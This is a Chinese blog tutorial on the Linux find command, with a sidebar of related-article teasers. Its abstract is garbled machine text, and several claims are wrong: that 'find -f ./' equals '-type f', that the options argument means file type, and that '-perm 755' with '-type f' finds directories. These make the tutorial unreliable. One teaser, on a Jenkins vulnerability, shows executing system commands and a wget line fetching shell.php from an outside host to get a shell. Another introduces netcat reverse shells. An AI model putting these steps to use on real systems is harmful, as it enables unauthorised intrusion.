shell命令之find的用法

摘要:
最近,我在面试中遇到了一个问题,那就是在外壳中寻找。所以今天我想总结一下find 1的用法,find 2的应用场景,find 1使用方法和参数分析,以及find的应用场景。首先,让我们回答find的应用场景。嗯,查找文件的方法基本相同。它与find-f./相同。如何使用shell脚本的grep。

最近面试的时候碰到了shell中问到find的问题,因此今天总结一下find的用法

  1、find的应用场景

  2、find的使用方法和参数解析

1、find的应用场景

 首先我们回答一下find的应用场景。我个人觉得find可以和grep来进行对比分析。find是用来查找文件或者目录的,而grep是用来查找文件中的字符串的。

2、find的使用方法和参数解析

   首先我们抛开书本,如果我们想要查找文件,都有哪些需求可以查找呢?我想不外乎以下这几种,类型,名称,大小,日期,权限。好的,find查找文件的方法基本上也不外乎这几种。好的,接下来我们就分析一下它的参数。

   2.1 find的程序表达式

   在书本上我们看到find的程序表达式一般采用以下形式:

  find  [options]   [path]  [expression]的这种方案。举个例子 find  -L /home/linuxidc/linuxmi/  -name "*.js",-L(options)表达的是查找符号类型,/home/linuxidc/linuxmi/(path)查找路径就不用多说了,-name "*.js"(expression)表达的是查找名字为结尾带有js的文件。不过一般情况下我在使用时一般采用find  [path]  [expression]这种查找方式。原因有两个:1、我个人觉得这样比较好记。2、我个人认为options这个参数是完全可以省略的

   2.2 按照需求来进行find参数的使用

  还记得我们之前写的那些查找类型吗?类型,名称,大小,日期,权限。我们就依据这个架构来对其进行说明。

  2.2.1 按照类型查找文件

  还记得之前说过,options这个参数是可以完全省略的吗?指的就是这里。正如我们之前所看到的那样,其实options参数主要指的就是文件类型,而文件类型其实可以从之前所提过的type类型,我们编程中,一般遇到的类型有-f(file),-d(directory),-l(link),-c(字符设备),-b(块设备),-p(命名管道),-s(socket套接字)等等。

  所以我们如果需要按照类型查找文件:其形式为  find   ./   -type  f(查找当前目录下中的所有文件)。其跟find  -f  ./是一样的。

  注意一下:这里后面的f是不加-的。

  2.2.2 按照扩展名来查找文件

  这种我认为是find命令中最常见的一种方式了,一般来说就是我们知道这个文件的文件名或者文件名的部分来进行搜索,当然,这里面是支持正则表达形式的。

  find  ./     -type  f  -name  "*.sh"的,搜寻文件名中带有.sh的文件。当然,这里正则表达式的使用方法不在细说,有兴趣的可以看看我的另一篇博客。shell脚本之grep的使用方法

  2.2.3 按照大小来查找文件

  说实话,这种方法目前我还没有用过,不过还是写出来供大家参考吧。

  它的基本形式和上面的两种形式都差不多,举例:find  ./  -type  f  -size  1M,搜寻当前目录下1M的文件,当然我们一般情况下会找大于1M或者小于1M的文件,那么我们就把1M改为+1M(大于1M)或者-1M(小于1M)就可以了。

  2.2.4 按照权限来查找文件

  介绍这种之前先介绍一下使用场景。我的代码一般来说都是使用VS code来进行代码书写,但是这样做有一个小问题,就是经常改完以后它的权限就从0644变成0755了,所以我必须查找到整个文件夹下到底有哪些文件是0755的权限。

  介绍完场景以后,我们就来说一下如何使用好了。使用的基本形式和上面的两种形式都差不多,举例:find   ./  -type f -perm 755,这样就可以查找出该文件夹目录中的755权限的目录了。

     2.2.5 补充说明

  这里要说明一下,find命令有一点和grep命令不太一样,就是它不用递归,grep如果查找下一级的文件目录,那么就需要使用-r选项,但是find的话直接递归查找符合条件的文件。

  总结:

  本文一共介绍了两个部分。

  1、find的使用场景,简单来说就是查找linux中的各类文件

  2、根据查找文件的类型,名称,大小,权限等选择合适的参数来进行搜索。

    

免责声明:文章转载自《shell命令之find的用法》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇div固定显示的几种方法SVN合并操作实践下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

nc基本操作&反弹shell

一、nc简介 nc 被称为瑞士军刀netcat ,所做的就是在两台电脑之间建立链接,并返回两个数据流。 可运行在TCP或者UDP模式,添加参数 —u 则调整为UDP,默认为TCP 即可用在windows系统也可在linux系统,也可作用于二者之间,只是对应的命令有微微差异。 二、nc常用参数 -l 开启监听 -p 指定一个端口 -v 显示详细输出 -e...

jenkins未授权访问/弱口令漏洞

昨天晚上面试官问到了,还没来得及看,今天又问到了,猝不及防,蓝瘦,香菇、、、 今天特此总结一下,给自己一个交代。 总述:进入后台可进行如下操作: 直接执行系统命令: println "cmd".execute().text wget下载文件getshell: println "wget http://xxxx/tools/shell.php -P /t...

shell命令--unzip

shell命令--unzip 0、unzip命令的专属图床 点此快速打开文章【图床_shell命令unzip】 1、unzip命令的功能说明 ​ unzip 命令用于解压缩 zip 文件,unzip 为 .zip 压缩文件的解压缩程序。 2、unzip命令的语法格式 SYNOPSIS unzip [-Z] [-cflptTuvz[abjn...

运维与自动化系列④自动化部署基础与git

运维与自动化系列④自动化部署基础与git 自动化部署基础与git 一:上一篇的代码是保存在本地,但是在生产环境当中是由版本控制进行代码管理,以便于发布代码和回滚,一般是使用gitlib比较多,另外还有用svn的公司,趋势是git为主,因此本文以git为使用对象 1.1:在git服务器新建一个web组和项目web-demo: 准备web页面并提交至git服务...

adb -s指定安卓设备进行shell连接

1、adb shell如何指定安卓设备,下面是两个设备,第一个是模拟器,第二个是真机 2、使用命令adb -semulator-5554 shell adb -s <serial number> cmd 参考: 当有多个设备online时,命令行窗口通过adb连接指定设备方法_shell_Code Heaven-CSDN博客...

netcat的使用

1,端口扫描 端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。 $nc -z -v -n 172.31.100.7 21-25 可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点) v 参数指使用...